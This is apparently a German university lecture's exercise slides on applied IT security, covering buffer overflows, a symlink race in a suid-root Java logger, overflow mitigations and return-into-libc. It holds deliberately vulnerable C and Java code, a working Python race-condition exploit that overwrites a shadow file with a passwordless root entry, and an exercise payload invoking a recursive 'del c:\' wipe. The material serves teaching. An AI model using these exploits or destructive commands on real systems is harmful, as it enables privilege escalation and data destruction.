Angewandte IT

Werbung
Angewandte IT-Sicherheit
Johannes Stüttgen
Lehrstuhl für praktische Informatik I
30.11.2010
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
1 / 28
Aufgabe 1
Betrachten sie folgendes Programm:
#include <stdio.h>
#include <string.h>
int main()
{
char password[] = "Super Secret Passwd!";
char buf[20];
printf("Passwort: ");
gets(buf);
if(!strncmp(password, buf, 20)){
printf("You have been Authorized...\n");
}
else {
printf("Wrong Password\n");
}
return 0;
}
a) Wie sieht der Stack unmittelbar zu Beginn der main() Methode aus?
b) Die Funktion gets() ist anfällig für einen Buffer Overflow. Wie kann ein
Angreifer dies ausnutzen?
c) Geben sie eine mögliche Eingabe an, mit der eine ’Authentifikation’
erreicht werden kann ohne das Passwort zu kennen.
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
2 / 28
password.c
#include <stdio.h>
#include <string.h>
int main()
{
char password[] = "Super Secret Passwd!";
char buf[20];
printf("Passwort: ");
gets(buf);
if(!strncmp(password, buf, 20)){
printf("You have been Authorized...\n");
}
else {
printf("Wrong Password\n");
}
return 0;
}
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
3 / 28
Disassembly
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
4 / 28
Stack
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
5 / 28
Overflow
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
6 / 28
Access granted
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
7 / 28
Aufgabe 2
Folgender C-Code kann für einen Standard-Overflow genutzt werden:
void example( char * buf ) {
char localbuf[32];
strcpy( localbuf, buf );
printf("Copied to buffer: %s\n", localbuf );
}
a) Welche Eingabe ist erforderlich um nach der Ausführung der
Funktion an die Adresse 0xEFBEADDE zu springen?
b) Wie kann dieser Sprung von einem Angreifer genutzt werden?
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
8 / 28
workingOverflow.c
#include <stdio.h>
#include <string.h>
void example( char * buf ) {
char localbuf[32];
strcpy( localbuf, buf );
printf("Copied to buffer: %s\n", localbuf );
}
int main(){
char buf [255];
printf("Enter Content to be passed into example():");
gets(buf);
example(buf);
}
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
9 / 28
Disassembly
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
10 / 28
Disassembly of example()
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
11 / 28
Stack with normal input
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
12 / 28
Stack with very long input
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
13 / 28
Register state after crash
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
14 / 28
Now think about how the exploit string must look like
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
15 / 28
Passing exploit string to function
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
16 / 28
Stack before overflow
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
17 / 28
Stack after overflow
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
18 / 28
Registers after RET
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
19 / 28
0xDEADBEEF vs 0xEFBEADDE
Intel Architektur ist little Endian
Adressen die mit 0x01020304 im Speicher abgelegt sind werden
als 0x04030201 interpretiert
Wie muss also der Exploitstring aussehen?
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
20 / 28
Aufgabe 3
a) Das folgende Java Programm ist ein Logging Service, der
suid-root läuft. Es trägt an ihn übergebene Parameter in ein
Logfile ein. Allerdings enthält er eine Sicherheitslücke, die es dem
Angreifer erlaubt in beliebige Dateien zu schreiben.
1
2
Identifizieren und Beschreiben sie die Sicherheitslücke
Wie könnte man sie ausnutzen, um root Rechte zu erlangen?
b) Der Hersteller hat in dem Programm nun einige Patches
eingebaut, welche die Sicherheitslücke schliessen sollen (siehe
Listing 4, ’SafeLogger.java’)
1
2
3
Waren seine Bemühungen erfolgreich?
Falls nicht schreiben sie ein Programm, in einer
Programmiersprache ihrer Wahl, welches die Sicherheitslücke
ausnutzt um root Rechte zu erlangen
Was müsste man an dem Programm ändern um diese
Sicherheitslücke zu beseitigen?
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
21 / 28
Logger.java
import java.io.*;
public class Logger{
public static void main(String[] args) throws Exception{
if(args.length!=1){
System.out.println("usage: \"java Logger <text>\"");
System.exit(0);
}
File tmp = new File("message.log");
if(tmp.isFile() && tmp.canWrite() && tmp.exists()){
System.out.println("Logfile: " + tmp.toString());
}
else{
System.out.println("Logfile does not exist...creating...");
tmp.createNewFile();
}
System.out.println("\nLogging: " + args[0]);
FileWriter out = new FileWriter(tmp);
out.append(args[0]);
out.close();
}
}
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
22 / 28
SafeLogger.java
import java.io.*;
public class SafeLogger{
public static void main(String[] args) throws Exception{
if(args.length!=1){
System.out.println("usage: \"java Logger <text>\"");
System.exit(0);
}
File tmp = new File("message.log");
if(tmp.isFile() && tmp.canWrite() && tmp.exists() && !isLink(tmp)){
System.out.println("Logfile: " + tmp.toString());
}
else{
if(tmp.exists() && isLink(tmp)){
tmp.delete();
System.out.println("Symlink detected...deleting...");
}
System.out.println("Logfile does not exist...creating...");
tmp.createNewFile();
}
System.out.println("\nLogging: " + args[0]);
FileWriter out = new FileWriter(tmp);
out.append(args[0]);
out.close();
}
public static boolean isLink(File file) throws Exception{
String cnnpath = file.getCanonicalPath();
String abspath = file.getAbsolutePath();
return !abspath.equals(cnnpath);
}
}
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
23 / 28
Race Condition Exploit
#!/usr/bin/env python
import os
import time
for i in range(0, 500):
# If file exists, get rid of it (deletes any symlink we placed...)
filename = ’./message.log’
if os.path.exists(filename):
os.remove(filename)
# Now lets create an empty file...
file = open(filename, "w")
file.close()
os.system("nice -n 19 java Logger \"root::11636:0:::::\" &" )
time.sleep(0.05)
# while its running lets snatch its tempfile and replace with link
to shadow
if os.path.exists(filename):
os.remove(filename)
os.system("ln -s ./shadow " + filename)
time.sleep(0.05)
# thats long enough, lets kill it...
os.system("killall java")
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
24 / 28
Aufgabe 4
Es gibt verschiedenste Ansätze die Ausnutzung von Buffer Overflows
zu verhindern.
a) Erläutern sie folgende Techniken:
i)
ii)
iii)
iv)
ASLR
Canaries
NX-Bit
Verwendung von Funktionen mit Längenprüfung
b) Welche dieser Methoden halten sie für effektiv und warum?
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
25 / 28
Aufgabe 5
Ein Trick um den Schutz des Stacks durch das NX-Bit zu umgehen ist die Return
into libc Technik. Nehmen Sie an, dass die Funktion WinExec( char
*commandline, long flags); an Adresse 0x7F3A2C2A liegt. Betrachten Sie den
folgenden Code:
void example( char * buf, int len ) {
char localbuf[ 255 ];
memcpy( localbuf, buf, len );
printf( localbuf );
}
Nehmen Sie an, dass zum Zeitpunkt des Aufrufs von example das ESP-Register auf
Adresse 0x123456C0 zeigt. Nehmen Sie weiter an, dass der Angreifer sowohl len als
auch buf kontrolliert.
Konstruieren Sie einen String in buf, der
WinExec(’’del c:\(*.*) /s /q’’, 1)
aufruft.
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
26 / 28
Return to Libc
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
27 / 28
The End
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
28 / 28
The End
Lehrstuhl für praktische Informatik I
Angewandte IT-Sicherheit
28 / 28
Herunterladen